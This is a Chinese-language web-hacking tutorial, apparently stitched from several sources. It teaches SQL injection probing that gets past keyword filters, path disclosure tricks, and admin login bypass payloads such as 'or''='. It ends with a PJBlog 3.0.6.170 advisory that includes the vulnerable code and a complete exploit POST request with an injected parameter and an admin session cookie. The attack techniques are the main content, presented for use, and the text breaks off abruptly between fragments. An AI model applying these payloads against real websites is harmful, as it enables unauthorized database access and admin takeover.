现在有很多防注入程序屏蔽了 and、1=1、1=2 类似这样的关键字，使用这样的方法有时不能探测到注入点了。
那么是否有新的方法能够探测注入点呢？ 经过一段时间的研究，发现了更好的方法。哈哈，特此共享一下。现在假设有一个新闻页面，URL 是 http://gzkb.goomoo.cn/news.asp?id=123，
1. 在浏览器中打开，可以看到一个正常的新闻页面；
2. 在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞；在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
否则：
3. 在URL的地址后面加上‘%2B’，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123′%2B’，返回的页面和1同；加上’2%2B’asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123′%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
为什么这样可以呢？
我们可以从程序的角度来考虑一下。程序员的这条语句大致应该是这样的：
select * from news where id=123
当我们在后面加上 -1 后，语句变为
select * from news where id=123-1
SQL服务器在执行这条语句时会进行运算，实际执行的是：
select * from news where id=122
这样选出来的就是另外一条新闻记录了。如果该记录存在，就是另一则新闻；否则会显示记录不存在，或者出错。呵呵。 这也同时表示程序未对输入的数据进行过滤，存在数值型的注入漏洞。
如果 SQL 语句时这样的：
select * from news where id=‘123′
那么我们在后面加上 ‘%2B’ 之后，语句变为
select * from news where id=‘123′+”
%2B 是 + 的URL编码。 这样之后，SQL服务器实际执行的是：
select * from news where id=‘123′
会返回同样的页面。
加上 ‘%2B’asdf 之后，语句变为
select * from news where id=‘123′+‘asdf’
实际执行的是：
select * from news where id=‘123asdf’
返回页面不存在，或者显错。 这就表示有文本型的注入漏洞。

　　那么只需要在任意一个文件名前
　　如allyesno.aspx 改为~allyesno.aspx 顺利获得WEB绝对路径
　　4、
　　运气好，发现登陆后台：
　　比如http://allyesno.cnblogs.com/admin/login.aspx
　　如果输入密码错误返回http://allyesno.cnblogs.com/admin/error.aspx
　　如果输http://allyesno.cnblogs.com/admin%5Cindex.aspx说不定可以饶过验证。
　　5、
　　后台饶过方法：
　　‘or”=’
　　‘or”=’
　　或者
　　‘or’=’or’
　　‘or’=’or’
　　6,我再加个
　　net1.0爆路径
　　在网站地址 最后一个/ 后加’ 可爆出网站路径
　　如http://abc.com/aspx?id=1 就加成http://abc.com/’aspx?id=1 可出爆路
　　net2.0以上无此漏洞

D = conn.execute(“select cate_Part from blog_Category where cate_ID=”&oldcate)(0)
程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。

漏洞利用:
POST /blogedit.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1/blogedit.asp?id=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 513
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=admin&exp=2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP

id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote=

影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。
解决方案:
厂商补丁：
PJblog
——-
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://bbs.pjhome.net/thread-52214-1-1.html

信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1410 *>